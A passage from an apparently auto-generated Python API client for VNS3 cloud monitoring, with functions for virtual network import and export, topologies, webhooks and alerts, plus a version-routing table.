APIResponse or awaitable if async """ local_var_params = locals() request_params = [] # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["text/plain", "application/octet-stream"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/virtual_networks/export", "GET", path_params, query_params, header_params, body={}, post_params=form_params, files=local_var_files, response_type="file", auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_import_virtual_networks(api_client, body=None): # noqa: E501 """Import virtual networks from CSV file # noqa: E501 Import virtual networks from CSV file # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_import_virtual_networks(client, body, async_req=True) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = body # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["text/plain"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/virtual_networks/import", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_vns3_topologies(api_client, vns3_topology_id=None, **kwargs): # noqa: E501 """Return list of all (accessible) VNS3 Topologies # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_vns3_topologies(async_req=True) :param VNS3Client api_client: (required) :param vns3_topology_id int: Topology ID for filtering :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["vns3_topology_id"] collection_formats = {} path_params = {} query_params = [] for param in [p for p in request_params if local_var_params.get(p) is not None]: query_params.append((param, local_var_params[param])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/vns3_topologies", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_create_vns3_topology( api_client, name=None, virtual_network_id=None, description=None, **kwargs ): # noqa: E501 """Create new VNS3 Topology # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_create_vns3_topology(async_req=True) :param VNS3Client api_client: (required) :param name str: Topology name name (required) :param virtual_network_id int: Parent Virtual Network ID :param description str: Topology description :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["name", "virtual_network_id", "description"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/vns3_topologies", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_vns3_topology(api_client, vns3_topology_id, **kwargs): # noqa: E501 """Return specific Topology details # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_vns3_topology(vns3_topology_id, async_req=True) :param VNS3Client api_client: (required) :param vns3_topology_id int: Topology ID (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {"vns3_topology_id": vns3_topology_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/vns3_topologies/{vns3_topology_id}", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_update_vns3_topology( api_client, vns3_topology_id, name=None, virtual_network_id=None, description=None, **kwargs ): # noqa: E501 """Update specified VNS3 Topology # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_update_vns3_topology(async_req=True) :param VNS3Client api_client: (required) :param vns3_topology_id int: Topology ID (required) :param name str: Virtual network name :param virtual_network_id int: Parent Virtual Network ID :param description str: Network description :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["name", "virtual_network_id", "description"] collection_formats = {} path_params = {"vns3_topology_id": vns3_topology_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/vns3_topologies/{vns3_topology_id}", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def delete_vns3_topology(api_client, vns3_topology_id, **kwargs): # noqa: E501 """Delete Topology # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.delete_vns3_topology(vns3_topology_id, async_req=True) :param VNS3Client api_client: (required) :param vns3_topology_id int: Topology ID (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {"vns3_topology_id": vns3_topology_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/vns3_topologies/{vns3_topology_id}", "DELETE", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_webhooks(api_client, **kwargs): # noqa: E501 """Return list of all configured webhooks # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_webhooks(async_req=True) :param VNS3Client api_client: (required) :param cloud_vlan_component_id int: Cloud VLAN Component ID for filtering :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/webhooks", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_create_webhook( api_client, name=None, url=None, events=None, body=None, validate_cert=None, custom_properties=None, headers=None, parameters=None, **kwargs ): # noqa: E501 """Create new Cloud VLAN # noqa: E501 Create new Cloud VLAN # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_create_webhook(async_req=True) :param VNS3Client api_client: (required) :param name str: Webhook name (required) :param url str: Webhook endpoint :param events List[str]: List of events this webhook supports :param body str: POST payload :param validate_cert bool: Verify SSL :param custom_properties List[{ name str: (required) value str: description str: }]: :param headers List[{ name str: value str: }]: :param parameters List[{ name str: value str: }]: :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [ "name", "url", "events", "body", "validate_cert", "custom_properties", "headers", "parameters", ] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/webhook", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_webhook(api_client, webhook_id, **kwargs): # noqa: E501 """get_webhook # noqa: E501 Retrieve details for single webhook integration # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_webhook(client, webhook_id, async_req=True) :param async_req bool: execute request asynchronously :param int webhook_id: ID for webhook integration (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {"webhook_id": webhook_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/webhook/{webhook_id}", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_update_webhook( api_client, webhook_id, name=None, url=None, events=None, body=None, validate_cert=None, custom_properties=None, headers=None, parameters=None, **kwargs ): # noqa: E501 """put_update_webhook # noqa: E501 Edit defined webhook integration # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_update_webhook(webhook_id, update_webhook_request, async_req=True) :param int webhook_id: ID for webhook integration (required) :param name str: :param url str: :param events List[str]: :param body str: Webhook payload :param validate_cert bool: execute request asynchronously :param custom_properties List[{ name str: (required) value str: description str: }]: :param headers List[{ name str: value str: }]: :param parameters List[{ name str: value str: }]: :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [ "name", "url", "events", "body", "validate_cert", "custom_properties", "headers", "parameters", ] collection_formats = {} path_params = {"webhook_id": webhook_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/webhook/{webhook_id}", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def delete_webhook(api_client, webhook_id, **kwargs): # noqa: E501 """delete_webhook # noqa: E501 Delete defined webhook integration # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.delete_webhook(webhook_id, async_req=True) :param int webhook_id: ID for webhook integration (required) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {"webhook_id": webhook_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/webhook/{webhook_id}", "DELETE", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_alert(api_client, alert_id, **kwargs): # noqa: E501 """get_alert # noqa: E501 Retrieve details for single alert # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_alert(alert_id, async_req=True) :param int alert_id: ID for Alert definition (required) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {"alert_id": alert_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/alert/{alert_id}", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_alerts(api_client, **kwargs): # noqa: E501 """get_alerts # noqa: E501 Retrieve all alerts # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_alerts(async_req=True) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/alerts", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_create_alert( api_client, name=None, url=None, enabled=None, events=None, custom_properties=None, webhook_id=None, webhook_name=None, template_id=None, **kwargs ): # noqa: E501 """post_create_alert # noqa: E501 Define new alert # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_create_alert(client, async_req=True) :param name str: (required) :param url str: (required) :param enabled bool: True by default :param events List[str]: :param custom_properties List[{ name str: value str: }]: :param webhook_id int: webhook_id or template_id must be provided. Only webhook_id supported starting with 4.9 :param template_id int: webhook_id or template_id must be provided. Only webhook_id supported starting with 4.9 :param webhook_name str: If provided, will duplicate webhook (as determined by passed id) and name the duplicate with webhook_name (2.5.1) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [ "name", "url", "enabled", "events", "custom_properties", "webhook_id", "template_id", "webhook_name", ] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/alert", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def delete_alert(api_client, alert_id, **kwargs): # noqa: E501 """delete_alert # noqa: E501 Delete defined alert # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.delete_alert(client, async_req=True) :param int alert_id: ID for webhook integration (required) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {"alert_id": alert_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/alert/{alert_id}", "DELETE", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_update_alert( api_client, alert_id, name=None, url=None, enabled=None, events=None, custom_properties=None, webhook_id=None, template_id=None, **kwargs ): # noqa: E501 """put_update_alert # noqa: E501 Edit defined alert # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_update_alert(alert_id, update_alert_request, async_req=True) :param async_req bool: execute request asynchronously :param int alert_id: ID for Alert definition (required) :param name str: :param url str: :param enabled bool: True by default :param events List[str]: :param custom_properties List[{ name str: value str: }]: :param webhook_id int: webhook_id or template_id must be provided. Only webhook_id supported starting with 4.9. :param template_id int: webhook_id or template_id must be provided. Only webhook_id supported starting with 4.9. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [ "name", "url", "enabled", "events", "custom_properties", "webhook_id", "template_id", ] collection_formats = {} path_params = {"alert_id": alert_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/alert/{alert_id}", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_toggle_enable_alert(api_client, alert_id, **kwargs): # noqa: E501 """post_toggle_enable_alert # noqa: E501 Toggle enabled property on alert # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_toggle_enable_alert(alert_id, async_req=True) :param async_req bool: execute request asynchronously :param int alert_id: ID for Alert definition (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {"alert_id": alert_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/alert/{alert_id}/toggle_enabled", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_test_alert(api_client, alert_id, **kwargs): # noqa: E501 """post_test_alert # noqa: E501 Send test alert for this defined alert # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_test_alert(client, alert_id, async_req=True) :param int alert_id: ID for Alert definition (required) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {"alert_id": alert_id} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/alert/{alert_id}/test", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) class CloudMonitoringApiRouter(VersionRouter): """Configure and monitor your cloud by tracking cloud VPCs and virtual networks""" function_library = { "get_cloud_vlan_components": {"2.1.1-2.5.4": get_cloud_vlan_components}, "post_create_vlan_component": {"2.1.1-2.5.4": post_create_vlan_component}, "get_cloud_vlan_component": {"2.1.1-2.5.4": get_cloud_vlan_component}, "put_update_vlan_component": {"2.1.1-2.5.4": put_update_vlan_component}, "delete_vlan_component": {"2.1.1-2.5.4": delete_vlan_component}, "get_cloud_vlans": {"2.1.1-2.5.4": get_cloud_vlans}, "post_create_cloud_vlan": {"2.1.1-2.5.4": post_create_cloud_vlan}, "get_cloud_vlan": {"2.1.1-2.5.4": get_cloud_vlan}, "put_update_cloud_vlan": {"2.1.1-2.5.4": put_update_cloud_vlan}, "delete_cloud_vlan": {"2.1.1-2.5.4": delete_cloud_vlan}, "get_virtual_networks": {"2.1.1-2.5.4": get_virtual_networks}, "post_create_virtual_network": {"2.1.1-2.5.4": post_create_virtual_network}, "get_virtual_network": {"2.1.1-2.5.4": get_virtual_network}, "put_update_virtual_network": {"2.1.1-2.5.4": put_update_virtual_network}, "delete_virtual_network": {"2.1.1-2.5.4": delete_virtual_network}, "get_export_virtual_networks": {"2.1.1-2.5.4": get_export_virtual_networks}, "post_import_virtual_networks": {"2.1.1-2.5.4": post_import_virtual_networks}, "get_vns3_topologies": {"2.1.1-2.5.4": get_vns3_topologies}, "post_create_vns3_topology": {"2.1.1-2.5.4": post_create_vns3_topology}, "get_vns3_topology": {"2.1.1-2.5.4": get_vns3_topology}, "put_update_vns3_topology": {"2.1.1-2.5.4": put_update_vns3_topology}, "delete_vns3_topology": {"2.1.1-2.5.4": delete_vns3_topology}, "get_webhooks": {"2.3.3-2.5.4": get_webhooks}, "post_create_webhook": {"2.3.3-2.5.4": post_create_webhook}, "get_webhook": {"2.3.3-2.5.4": get_webhook}, "put_update_webhook": {"2.3.3-2.5.4": put_update_webhook}, "delete_webhook": {"2.3.3-2.5.4": delete_webhook}, "get_alerts": {"2.3.3-2.5.4": get_alerts}, "get_alert": {"2.3.3-2.5.4": get_alert}, "post_create_alert": {"2.3.3-2.5.4": post_create_alert}, "put_update_alert": {"2.3.3-2.5.4": put_update_alert}, "delete_alert": {"2.3.3-2.5.4": delete_alert}, "post_toggle_enable_alert": 